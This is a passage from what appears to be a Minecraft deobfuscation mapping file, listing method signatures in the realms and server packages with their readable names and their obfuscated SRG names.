net/minecraft/realms/RealmsMth/sin (F)F +MD: net/minecraft/realms/RealmsMth/smallestEncompassingPowerOfTwo (I)I net/minecraft/realms/RealmsMth/smallestEncompassingPowerOfTwo (I)I +MD: net/minecraft/realms/RealmsMth/sqrt (D)F net/minecraft/realms/RealmsMth/sqrt (D)F +MD: net/minecraft/realms/RealmsMth/sqrt (F)F net/minecraft/realms/RealmsMth/sqrt (F)F +MD: net/minecraft/realms/RealmsMth/wrapDegrees (D)D net/minecraft/realms/RealmsMth/wrapDegrees (D)D +MD: net/minecraft/realms/RealmsMth/wrapDegrees (F)F net/minecraft/realms/RealmsMth/wrapDegrees (F)F +MD: net/minecraft/realms/RealmsScreen/bind (Ljava/lang/String;)V net/minecraft/realms/RealmsScreen/bind (Ljava/lang/String;)V +MD: net/minecraft/realms/RealmsScreen/bindFace (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/realms/RealmsScreen/bindFace (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/realms/RealmsScreen/blit (IIFFIIFF)V net/minecraft/realms/RealmsScreen/blit (IIFFIIFF)V +MD: net/minecraft/realms/RealmsScreen/blit (IIFFIIIIFF)V net/minecraft/realms/RealmsScreen/blit (IIFFIIIIFF)V +MD: net/minecraft/realms/RealmsScreen/blit (IIIIII)V net/minecraft/realms/RealmsScreen/blit (IIIIII)V +MD: net/minecraft/realms/RealmsScreen/buttonClicked (Lnet/minecraft/realms/RealmsButton;)V net/minecraft/realms/RealmsScreen/buttonClicked (Lnet/minecraft/realms/RealmsButton;)V +MD: net/minecraft/realms/RealmsScreen/buttons ()Ljava/util/List; net/minecraft/realms/RealmsScreen/buttons ()Ljava/util/List; +MD: net/minecraft/realms/RealmsScreen/buttonsAdd (Lnet/minecraft/realms/RealmsButton;)V net/minecraft/realms/RealmsScreen/buttonsAdd (Lnet/minecraft/realms/RealmsButton;)V +MD: net/minecraft/realms/RealmsScreen/buttonsClear ()V net/minecraft/realms/RealmsScreen/buttonsClear ()V +MD: net/minecraft/realms/RealmsScreen/buttonsRemove (Lnet/minecraft/realms/RealmsButton;)V net/minecraft/realms/RealmsScreen/buttonsRemove (Lnet/minecraft/realms/RealmsButton;)V +MD: net/minecraft/realms/RealmsScreen/confirmResult (ZI)V net/minecraft/realms/RealmsScreen/confirmResult (ZI)V +MD: net/minecraft/realms/RealmsScreen/drawCenteredString (Ljava/lang/String;III)V net/minecraft/realms/RealmsScreen/drawCenteredString (Ljava/lang/String;III)V +MD: net/minecraft/realms/RealmsScreen/drawString (Ljava/lang/String;III)V net/minecraft/realms/RealmsScreen/drawString (Ljava/lang/String;III)V +MD: net/minecraft/realms/RealmsScreen/drawString (Ljava/lang/String;IIIZ)V net/minecraft/realms/RealmsScreen/drawString (Ljava/lang/String;IIIZ)V +MD: net/minecraft/realms/RealmsScreen/fillGradient (IIIIII)V net/minecraft/realms/RealmsScreen/fillGradient (IIIIII)V +MD: net/minecraft/realms/RealmsScreen/fontDrawShadow (Ljava/lang/String;III)V net/minecraft/realms/RealmsScreen/fontDrawShadow (Ljava/lang/String;III)V +MD: net/minecraft/realms/RealmsScreen/fontLineHeight ()I net/minecraft/realms/RealmsScreen/fontLineHeight ()I +MD: net/minecraft/realms/RealmsScreen/fontSplit (Ljava/lang/String;I)Ljava/util/List; net/minecraft/realms/RealmsScreen/fontSplit (Ljava/lang/String;I)Ljava/util/List; +MD: net/minecraft/realms/RealmsScreen/fontWidth (Ljava/lang/String;)I net/minecraft/realms/RealmsScreen/fontWidth (Ljava/lang/String;)I +MD: net/minecraft/realms/RealmsScreen/getLevelStorageSource ()Lnet/minecraft/realms/RealmsAnvilLevelStorageSource; net/minecraft/realms/RealmsScreen/getLevelStorageSource ()Lnet/minecraft/realms/RealmsAnvilLevelStorageSource; +MD: net/minecraft/realms/RealmsScreen/getLocalizedString (Ljava/lang/String;)Ljava/lang/String; net/minecraft/realms/RealmsScreen/getLocalizedString (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/realms/RealmsScreen/getLocalizedString (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; net/minecraft/realms/RealmsScreen/getLocalizedString (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/realms/RealmsScreen/getProxy ()Lnet/minecraft/client/gui/GuiScreenRealmsProxy; net/minecraft/realms/RealmsScreen/getProxy ()Lnet/minecraft/client/gui/GuiScreenRealmsProxy; +MD: net/minecraft/realms/RealmsScreen/height ()I net/minecraft/realms/RealmsScreen/height ()I +MD: net/minecraft/realms/RealmsScreen/init ()V net/minecraft/realms/RealmsScreen/init ()V +MD: net/minecraft/realms/RealmsScreen/init (Lnet/minecraft/client/Minecraft;II)V net/minecraft/realms/RealmsScreen/init (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/realms/RealmsScreen/isPauseScreen ()Z net/minecraft/realms/RealmsScreen/isPauseScreen ()Z +MD: net/minecraft/realms/RealmsScreen/keyPressed (CI)V net/minecraft/realms/RealmsScreen/keyPressed (CI)V +MD: net/minecraft/realms/RealmsScreen/keyboardEvent ()V net/minecraft/realms/RealmsScreen/keyboardEvent ()V +MD: net/minecraft/realms/RealmsScreen/mouseClicked (III)V net/minecraft/realms/RealmsScreen/mouseClicked (III)V +MD: net/minecraft/realms/RealmsScreen/mouseDragged (IIIJ)V net/minecraft/realms/RealmsScreen/mouseDragged (IIIJ)V +MD: net/minecraft/realms/RealmsScreen/mouseEvent ()V net/minecraft/realms/RealmsScreen/mouseEvent ()V +MD: net/minecraft/realms/RealmsScreen/mouseReleased (III)V net/minecraft/realms/RealmsScreen/mouseReleased (III)V +MD: net/minecraft/realms/RealmsScreen/newButton (IIIIILjava/lang/String;)Lnet/minecraft/realms/RealmsButton; net/minecraft/realms/RealmsScreen/newButton (IIIIILjava/lang/String;)Lnet/minecraft/realms/RealmsButton; +MD: net/minecraft/realms/RealmsScreen/newButton (IIILjava/lang/String;)Lnet/minecraft/realms/RealmsButton; net/minecraft/realms/RealmsScreen/newButton (IIILjava/lang/String;)Lnet/minecraft/realms/RealmsButton; +MD: net/minecraft/realms/RealmsScreen/newEditBox (IIIII)Lnet/minecraft/realms/RealmsEditBox; net/minecraft/realms/RealmsScreen/newEditBox (IIIII)Lnet/minecraft/realms/RealmsEditBox; +MD: net/minecraft/realms/RealmsScreen/removed ()V net/minecraft/realms/RealmsScreen/removed ()V +MD: net/minecraft/realms/RealmsScreen/render (IIF)V net/minecraft/realms/RealmsScreen/render (IIF)V +MD: net/minecraft/realms/RealmsScreen/renderBackground ()V net/minecraft/realms/RealmsScreen/renderBackground ()V +MD: net/minecraft/realms/RealmsScreen/renderBackground (I)V net/minecraft/realms/RealmsScreen/renderBackground (I)V +MD: net/minecraft/realms/RealmsScreen/renderTooltip (Ljava/lang/String;II)V net/minecraft/realms/RealmsScreen/renderTooltip (Ljava/lang/String;II)V +MD: net/minecraft/realms/RealmsScreen/renderTooltip (Ljava/util/List;II)V net/minecraft/realms/RealmsScreen/renderTooltip (Ljava/util/List;II)V +MD: net/minecraft/realms/RealmsScreen/renderTooltip (Lnet/minecraft/item/ItemStack;II)V net/minecraft/realms/RealmsScreen/renderTooltip (Lnet/minecraft/item/ItemStack;II)V +MD: net/minecraft/realms/RealmsScreen/tick ()V net/minecraft/realms/RealmsScreen/tick ()V +MD: net/minecraft/realms/RealmsScreen/width ()I net/minecraft/realms/RealmsScreen/width ()I +MD: net/minecraft/realms/RealmsScrolledSelectionList/getItemCount ()I net/minecraft/realms/RealmsScrolledSelectionList/getItemCount ()I +MD: net/minecraft/realms/RealmsScrolledSelectionList/getMaxPosition ()I net/minecraft/realms/RealmsScrolledSelectionList/getMaxPosition ()I +MD: net/minecraft/realms/RealmsScrolledSelectionList/getScroll ()I net/minecraft/realms/RealmsScrolledSelectionList/getScroll ()I +MD: net/minecraft/realms/RealmsScrolledSelectionList/getScrollbarPosition ()I net/minecraft/realms/RealmsScrolledSelectionList/getScrollbarPosition ()I +MD: net/minecraft/realms/RealmsScrolledSelectionList/isSelectedItem (I)Z net/minecraft/realms/RealmsScrolledSelectionList/isSelectedItem (I)Z +MD: net/minecraft/realms/RealmsScrolledSelectionList/mouseEvent ()V net/minecraft/realms/RealmsScrolledSelectionList/mouseEvent ()V +MD: net/minecraft/realms/RealmsScrolledSelectionList/render (IIF)V net/minecraft/realms/RealmsScrolledSelectionList/render (IIF)V +MD: net/minecraft/realms/RealmsScrolledSelectionList/renderBackground ()V net/minecraft/realms/RealmsScrolledSelectionList/renderBackground ()V +MD: net/minecraft/realms/RealmsScrolledSelectionList/renderItem (IIIIII)V net/minecraft/realms/RealmsScrolledSelectionList/renderItem (IIIIII)V +MD: net/minecraft/realms/RealmsScrolledSelectionList/renderItem (IIIILnet/minecraft/realms/Tezzelator;II)V net/minecraft/realms/RealmsScrolledSelectionList/renderItem (IIIILnet/minecraft/realms/Tezzelator;II)V +MD: net/minecraft/realms/RealmsScrolledSelectionList/renderList (IIII)V net/minecraft/realms/RealmsScrolledSelectionList/renderList (IIII)V +MD: net/minecraft/realms/RealmsScrolledSelectionList/scroll (I)V net/minecraft/realms/RealmsScrolledSelectionList/scroll (I)V +MD: net/minecraft/realms/RealmsScrolledSelectionList/selectItem (IZII)V net/minecraft/realms/RealmsScrolledSelectionList/selectItem (IZII)V +MD: net/minecraft/realms/RealmsScrolledSelectionList/width ()I net/minecraft/realms/RealmsScrolledSelectionList/width ()I +MD: net/minecraft/realms/RealmsScrolledSelectionList/xm ()I net/minecraft/realms/RealmsScrolledSelectionList/xm ()I +MD: net/minecraft/realms/RealmsScrolledSelectionList/ym ()I net/minecraft/realms/RealmsScrolledSelectionList/ym ()I +MD: net/minecraft/realms/RealmsServerAddress/getHost ()Ljava/lang/String; net/minecraft/realms/RealmsServerAddress/getHost ()Ljava/lang/String; +MD: net/minecraft/realms/RealmsServerAddress/getPort ()I net/minecraft/realms/RealmsServerAddress/getPort ()I +MD: net/minecraft/realms/RealmsServerAddress/parseString (Ljava/lang/String;)Lnet/minecraft/realms/RealmsServerAddress; net/minecraft/realms/RealmsServerAddress/parseString (Ljava/lang/String;)Lnet/minecraft/realms/RealmsServerAddress; +MD: net/minecraft/realms/RealmsServerStatusPinger$1/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/realms/RealmsServerStatusPinger$1/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/realms/RealmsServerStatusPinger$1/handlePong (Lnet/minecraft/network/status/server/S01PacketPong;)V net/minecraft/realms/RealmsServerStatusPinger$1/func_147398_a (Lnet/minecraft/network/status/server/S01PacketPong;)V +MD: net/minecraft/realms/RealmsServerStatusPinger$1/handleServerInfo (Lnet/minecraft/network/status/server/S00PacketServerInfo;)V net/minecraft/realms/RealmsServerStatusPinger$1/func_147397_a (Lnet/minecraft/network/status/server/S00PacketServerInfo;)V +MD: net/minecraft/realms/RealmsServerStatusPinger/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/realms/RealmsServerStatusPinger/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/realms/RealmsServerStatusPinger/pingServer (Ljava/lang/String;Lnet/minecraft/realms/RealmsServerPing;)V net/minecraft/realms/RealmsServerStatusPinger/pingServer (Ljava/lang/String;Lnet/minecraft/realms/RealmsServerPing;)V +MD: net/minecraft/realms/RealmsServerStatusPinger/removeAll ()V net/minecraft/realms/RealmsServerStatusPinger/removeAll ()V +MD: net/minecraft/realms/RealmsServerStatusPinger/tick ()V net/minecraft/realms/RealmsServerStatusPinger/tick ()V +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/getItemCount ()I net/minecraft/realms/RealmsSimpleScrolledSelectionList/getItemCount ()I +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/getMaxPosition ()I net/minecraft/realms/RealmsSimpleScrolledSelectionList/getMaxPosition ()I +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/getScroll ()I net/minecraft/realms/RealmsSimpleScrolledSelectionList/getScroll ()I +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/getScrollbarPosition ()I net/minecraft/realms/RealmsSimpleScrolledSelectionList/getScrollbarPosition ()I +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/isSelectedItem (I)Z net/minecraft/realms/RealmsSimpleScrolledSelectionList/isSelectedItem (I)Z +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/mouseEvent ()V net/minecraft/realms/RealmsSimpleScrolledSelectionList/mouseEvent ()V +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/render (IIF)V net/minecraft/realms/RealmsSimpleScrolledSelectionList/render (IIF)V +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/renderBackground ()V net/minecraft/realms/RealmsSimpleScrolledSelectionList/renderBackground ()V +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/renderItem (IIIIII)V net/minecraft/realms/RealmsSimpleScrolledSelectionList/renderItem (IIIIII)V +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/renderItem (IIIILnet/minecraft/realms/Tezzelator;II)V net/minecraft/realms/RealmsSimpleScrolledSelectionList/renderItem (IIIILnet/minecraft/realms/Tezzelator;II)V +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/renderList (IIII)V net/minecraft/realms/RealmsSimpleScrolledSelectionList/renderList (IIII)V +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/scroll (I)V net/minecraft/realms/RealmsSimpleScrolledSelectionList/scroll (I)V +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/selectItem (IZII)V net/minecraft/realms/RealmsSimpleScrolledSelectionList/selectItem (IZII)V +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/width ()I net/minecraft/realms/RealmsSimpleScrolledSelectionList/width ()I +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/xm ()I net/minecraft/realms/RealmsSimpleScrolledSelectionList/xm ()I +MD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/ym ()I net/minecraft/realms/RealmsSimpleScrolledSelectionList/ym ()I +MD: net/minecraft/realms/RealmsSliderButton/clamp (F)F net/minecraft/realms/RealmsSliderButton/clamp (F)F +MD: net/minecraft/realms/RealmsSliderButton/clampSteps (F)F net/minecraft/realms/RealmsSliderButton/clampSteps (F)F +MD: net/minecraft/realms/RealmsSliderButton/clicked (F)V net/minecraft/realms/RealmsSliderButton/clicked (F)V +MD: net/minecraft/realms/RealmsSliderButton/clicked (II)V net/minecraft/realms/RealmsSliderButton/clicked (II)V +MD: net/minecraft/realms/RealmsSliderButton/getMessage ()Ljava/lang/String; net/minecraft/realms/RealmsSliderButton/getMessage ()Ljava/lang/String; +MD: net/minecraft/realms/RealmsSliderButton/getYImage (Z)I net/minecraft/realms/RealmsSliderButton/getYImage (Z)I +MD: net/minecraft/realms/RealmsSliderButton/released (II)V net/minecraft/realms/RealmsSliderButton/released (II)V +MD: net/minecraft/realms/RealmsSliderButton/renderBg (II)V net/minecraft/realms/RealmsSliderButton/renderBg (II)V +MD: net/minecraft/realms/RealmsSliderButton/toPct (F)F net/minecraft/realms/RealmsSliderButton/toPct (F)F +MD: net/minecraft/realms/RealmsSliderButton/toValue (F)F net/minecraft/realms/RealmsSliderButton/toValue (F)F +MD: net/minecraft/realms/RealmsVertexFormat/addElement (Lnet/minecraft/realms/RealmsVertexFormatElement;)Lnet/minecraft/realms/RealmsVertexFormat; net/minecraft/realms/RealmsVertexFormat/addElement (Lnet/minecraft/realms/RealmsVertexFormatElement;)Lnet/minecraft/realms/RealmsVertexFormat; +MD: net/minecraft/realms/RealmsVertexFormat/clear ()V net/minecraft/realms/RealmsVertexFormat/clear ()V +MD: net/minecraft/realms/RealmsVertexFormat/equals (Ljava/lang/Object;)Z net/minecraft/realms/RealmsVertexFormat/equals (Ljava/lang/Object;)Z +MD: net/minecraft/realms/RealmsVertexFormat/from (Lnet/minecraft/client/renderer/vertex/VertexFormat;)Lnet/minecraft/realms/RealmsVertexFormat; net/minecraft/realms/RealmsVertexFormat/from (Lnet/minecraft/client/renderer/vertex/VertexFormat;)Lnet/minecraft/realms/RealmsVertexFormat; +MD: net/minecraft/realms/RealmsVertexFormat/getColorOffset ()I net/minecraft/realms/RealmsVertexFormat/getColorOffset ()I +MD: net/minecraft/realms/RealmsVertexFormat/getElement (I)Lnet/minecraft/realms/RealmsVertexFormatElement; net/minecraft/realms/RealmsVertexFormat/getElement (I)Lnet/minecraft/realms/RealmsVertexFormatElement; +MD: net/minecraft/realms/RealmsVertexFormat/getElementCount ()I net/minecraft/realms/RealmsVertexFormat/getElementCount ()I +MD: net/minecraft/realms/RealmsVertexFormat/getElements ()Ljava/util/List; net/minecraft/realms/RealmsVertexFormat/getElements ()Ljava/util/List; +MD: net/minecraft/realms/RealmsVertexFormat/getIntegerSize ()I net/minecraft/realms/RealmsVertexFormat/getIntegerSize ()I +MD: net/minecraft/realms/RealmsVertexFormat/getNormalOffset ()I net/minecraft/realms/RealmsVertexFormat/getNormalOffset ()I +MD: net/minecraft/realms/RealmsVertexFormat/getOffset (I)I net/minecraft/realms/RealmsVertexFormat/getOffset (I)I +MD: net/minecraft/realms/RealmsVertexFormat/getUvOffset (I)I net/minecraft/realms/RealmsVertexFormat/getUvOffset (I)I +MD: net/minecraft/realms/RealmsVertexFormat/getVertexFormat ()Lnet/minecraft/client/renderer/vertex/VertexFormat; net/minecraft/realms/RealmsVertexFormat/getVertexFormat ()Lnet/minecraft/client/renderer/vertex/VertexFormat; +MD: net/minecraft/realms/RealmsVertexFormat/getVertexSize ()I net/minecraft/realms/RealmsVertexFormat/getVertexSize ()I +MD: net/minecraft/realms/RealmsVertexFormat/hasColor ()Z net/minecraft/realms/RealmsVertexFormat/hasColor ()Z +MD: net/minecraft/realms/RealmsVertexFormat/hasNormal ()Z net/minecraft/realms/RealmsVertexFormat/hasNormal ()Z +MD: net/minecraft/realms/RealmsVertexFormat/hasUv (I)Z net/minecraft/realms/RealmsVertexFormat/hasUv (I)Z +MD: net/minecraft/realms/RealmsVertexFormat/hashCode ()I net/minecraft/realms/RealmsVertexFormat/hashCode ()I +MD: net/minecraft/realms/RealmsVertexFormat/toString ()Ljava/lang/String; net/minecraft/realms/RealmsVertexFormat/toString ()Ljava/lang/String; +MD: net/minecraft/realms/RealmsVertexFormatElement/equals (Ljava/lang/Object;)Z net/minecraft/realms/RealmsVertexFormatElement/equals (Ljava/lang/Object;)Z +MD: net/minecraft/realms/RealmsVertexFormatElement/getByteSize ()I net/minecraft/realms/RealmsVertexFormatElement/getByteSize ()I +MD: net/minecraft/realms/RealmsVertexFormatElement/getCount ()I net/minecraft/realms/RealmsVertexFormatElement/getCount ()I +MD: net/minecraft/realms/RealmsVertexFormatElement/getIndex ()I net/minecraft/realms/RealmsVertexFormatElement/getIndex ()I +MD: net/minecraft/realms/RealmsVertexFormatElement/getVertexFormatElement ()Lnet/minecraft/client/renderer/vertex/VertexFormatElement; net/minecraft/realms/RealmsVertexFormatElement/getVertexFormatElement ()Lnet/minecraft/client/renderer/vertex/VertexFormatElement; +MD: net/minecraft/realms/RealmsVertexFormatElement/hashCode ()I net/minecraft/realms/RealmsVertexFormatElement/hashCode ()I +MD: net/minecraft/realms/RealmsVertexFormatElement/isPosition ()Z net/minecraft/realms/RealmsVertexFormatElement/isPosition ()Z +MD: net/minecraft/realms/RealmsVertexFormatElement/toString ()Ljava/lang/String; net/minecraft/realms/RealmsVertexFormatElement/toString ()Ljava/lang/String; +MD: net/minecraft/realms/Tezzelator/begin (ILnet/minecraft/realms/RealmsVertexFormat;)V net/minecraft/realms/Tezzelator/begin (ILnet/minecraft/realms/RealmsVertexFormat;)V +MD: net/minecraft/realms/Tezzelator/color (FFFF)V net/minecraft/realms/Tezzelator/color (FFFF)V +MD: net/minecraft/realms/Tezzelator/color (IIII)Lnet/minecraft/realms/RealmsBufferBuilder; net/minecraft/realms/Tezzelator/color (IIII)Lnet/minecraft/realms/RealmsBufferBuilder; +MD: net/minecraft/realms/Tezzelator/end ()V net/minecraft/realms/Tezzelator/end ()V +MD: net/minecraft/realms/Tezzelator/endVertex ()V net/minecraft/realms/Tezzelator/endVertex ()V +MD: net/minecraft/realms/Tezzelator/normal (FFF)V net/minecraft/realms/Tezzelator/normal (FFF)V +MD: net/minecraft/realms/Tezzelator/offset (DDD)V net/minecraft/realms/Tezzelator/offset (DDD)V +MD: net/minecraft/realms/Tezzelator/tex (DD)Lnet/minecraft/realms/Tezzelator; net/minecraft/realms/Tezzelator/tex (DD)Lnet/minecraft/realms/Tezzelator; +MD: net/minecraft/realms/Tezzelator/tex2 (SS)V net/minecraft/realms/Tezzelator/tex2 (SS)V +MD: net/minecraft/realms/Tezzelator/vertex (DDD)Lnet/minecraft/realms/Tezzelator; net/minecraft/realms/Tezzelator/vertex (DDD)Lnet/minecraft/realms/Tezzelator; +MD: net/minecraft/server/MinecraftServer$1/setDoneWorking ()V net/minecraft/server/MinecraftServer$1/func_146586_a ()V +MD: net/minecraft/server/MinecraftServer$1/setLoadingProgress (I)V net/minecraft/server/MinecraftServer$1/func_73718_a (I)V +MD: net/minecraft/server/MinecraftServer$1/displaySavingString (Ljava/lang/String;)V net/minecraft/server/MinecraftServer$1/func_73720_a (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer$1/resetProgressAndMessage (Ljava/lang/String;)V net/minecraft/server/MinecraftServer$1/func_73721_b (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer$1/displayLoadingString (Ljava/lang/String;)V net/minecraft/server/MinecraftServer$1/func_73719_c (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer$2/run ()V net/minecraft/server/MinecraftServer$2/run ()V +MD: net/minecraft/server/MinecraftServer$3/call ()Ljava/lang/String; net/minecraft/server/MinecraftServer$3/call ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer$3/call ()Ljava/lang/Object; net/minecraft/server/MinecraftServer$3/call ()Ljava/lang/Object; +MD: net/minecraft/server/MinecraftServer$4/call ()Ljava/lang/String; net/minecraft/server/MinecraftServer$4/call ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer$4/call ()Ljava/lang/Object; net/minecraft/server/MinecraftServer$4/call ()Ljava/lang/Object; +MD: net/minecraft/server/MinecraftServer/tick ()V net/minecraft/server/MinecraftServer/func_71217_p ()V +MD: net/minecraft/server/MinecraftServer/updateTimeLightAndEntities ()V net/minecraft/server/MinecraftServer/func_71190_q ()V +MD: net/minecraft/server/MinecraftServer/getAllowNether ()Z net/minecraft/server/MinecraftServer/func_71255_r ()Z +MD: net/minecraft/server/MinecraftServer/startServerThread ()V net/minecraft/server/MinecraftServer/func_71256_s ()V +MD: net/minecraft/server/MinecraftServer/getHostname ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71277_t ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/getPort ()I net/minecraft/server/MinecraftServer/func_71234_u ()I +MD: net/minecraft/server/MinecraftServer/getMotd ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71274_v ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/getMinecraftVersion ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71249_w ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/getCurrentPlayerCount ()I net/minecraft/server/MinecraftServer/func_71233_x ()I +MD: net/minecraft/server/MinecraftServer/getMaxPlayers ()I net/minecraft/server/MinecraftServer/func_71275_y ()I +MD: net/minecraft/server/MinecraftServer/getAllUsernames ()[Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71213_z ()[Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/getGameProfiles ()[Lcom/mojang/authlib/GameProfile; net/minecraft/server/MinecraftServer/func_152357_F ()[Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/MinecraftServer/isDebuggingEnabled ()Z net/minecraft/server/MinecraftServer/func_71239_B ()Z +MD: net/minecraft/server/MinecraftServer/getServer ()Lnet/minecraft/server/MinecraftServer; net/minecraft/server/MinecraftServer/func_71276_C ()Lnet/minecraft/server/MinecraftServer; +MD: net/minecraft/server/MinecraftServer/isAnvilFileSet ()Z net/minecraft/server/MinecraftServer/func_175578_N ()Z +MD: net/minecraft/server/MinecraftServer/getCommandManager ()Lnet/minecraft/command/ICommandManager; net/minecraft/server/MinecraftServer/func_71187_D ()Lnet/minecraft/command/ICommandManager; +MD: net/minecraft/server/MinecraftServer/getKeyPair ()Ljava/security/KeyPair; net/minecraft/server/MinecraftServer/func_71250_E ()Ljava/security/KeyPair; +MD: net/minecraft/server/MinecraftServer/getServerPort ()I net/minecraft/server/MinecraftServer/func_71215_F ()I +MD: net/minecraft/server/MinecraftServer/getServerOwner ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71214_G ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/isSinglePlayer ()Z net/minecraft/server/MinecraftServer/func_71264_H ()Z +MD: net/minecraft/server/MinecraftServer/getFolderName ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71270_I ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/getWorldName ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71221_J ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/allowSpawnMonsters ()Z net/minecraft/server/MinecraftServer/func_71193_K ()Z +MD: net/minecraft/server/MinecraftServer/isDemo ()Z net/minecraft/server/MinecraftServer/func_71242_L ()Z +MD: net/minecraft/server/MinecraftServer/getActiveAnvilConverter ()Lnet/minecraft/world/storage/ISaveFormat; net/minecraft/server/MinecraftServer/func_71254_M ()Lnet/minecraft/world/storage/ISaveFormat; +MD: net/minecraft/server/MinecraftServer/worldServerForDimension (I)Lnet/minecraft/world/WorldServer; net/minecraft/server/MinecraftServer/func_71218_a (I)Lnet/minecraft/world/WorldServer; +MD: net/minecraft/server/MinecraftServer/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/server/MinecraftServer/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/server/MinecraftServer/isBlockProtected (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/server/MinecraftServer/func_175579_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/server/MinecraftServer/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/server/MinecraftServer/func_71235_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/server/MinecraftServer/shareToLAN (Lnet/minecraft/world/WorldSettings$GameType;Z)Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71206_a (Lnet/minecraft/world/WorldSettings$GameType;Z)Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/finalTick (Lnet/minecraft/crash/CrashReport;)V net/minecraft/server/MinecraftServer/func_71228_a (Lnet/minecraft/crash/CrashReport;)V +MD: net/minecraft/server/MinecraftServer/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/server/MinecraftServer/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/server/MinecraftServer/addScheduledTask (Ljava/lang/Runnable;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/server/MinecraftServer/func_152344_a (Ljava/lang/Runnable;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/server/MinecraftServer/convertMapIfNeeded (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71237_c (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/setResourcePackFromWorld (Ljava/lang/String;Lnet/minecraft/world/storage/ISaveHandler;)V net/minecraft/server/MinecraftServer/func_175584_a (Ljava/lang/String;Lnet/minecraft/world/storage/ISaveHandler;)V +MD: net/minecraft/server/MinecraftServer/loadAllWorlds (Ljava/lang/String;Ljava/lang/String;JLnet/minecraft/world/WorldType;Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71247_a (Ljava/lang/String;Ljava/lang/String;JLnet/minecraft/world/WorldType;Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/setKeyPair (Ljava/security/KeyPair;)V net/minecraft/server/MinecraftServer/func_71253_a (Ljava/security/KeyPair;)V +MD: net/minecraft/server/MinecraftServer/getEntityFromUuid (Ljava/util/UUID;)Lnet/minecraft/entity/Entity; net/minecraft/server/MinecraftServer/func_175576_a (Ljava/util/UUID;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/server/MinecraftServer/callFromMainThread (Ljava/util/concurrent/Callable;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/server/MinecraftServer/func_175586_a (Ljava/util/concurrent/Callable;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/server/MinecraftServer/addFaviconToStatusResponse (Lnet/minecraft/network/ServerStatusResponse;)V net/minecraft/server/MinecraftServer/func_147138_a (Lnet/minecraft/network/ServerStatusResponse;)V +MD: net/minecraft/server/MinecraftServer/registerTickable (Lnet/minecraft/util/ITickable;)V net/minecraft/server/MinecraftServer/func_82010_a (Lnet/minecraft/util/ITickable;)V +MD: net/minecraft/server/MinecraftServer/setConfigManager (Lnet/minecraft/server/management/ServerConfigurationManager;)V net/minecraft/server/MinecraftServer/func_152361_a (Lnet/minecraft/server/management/ServerConfigurationManager;)V +MD: net/minecraft/server/MinecraftServer/getTabCompletions (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/server/MinecraftServer/func_180506_a 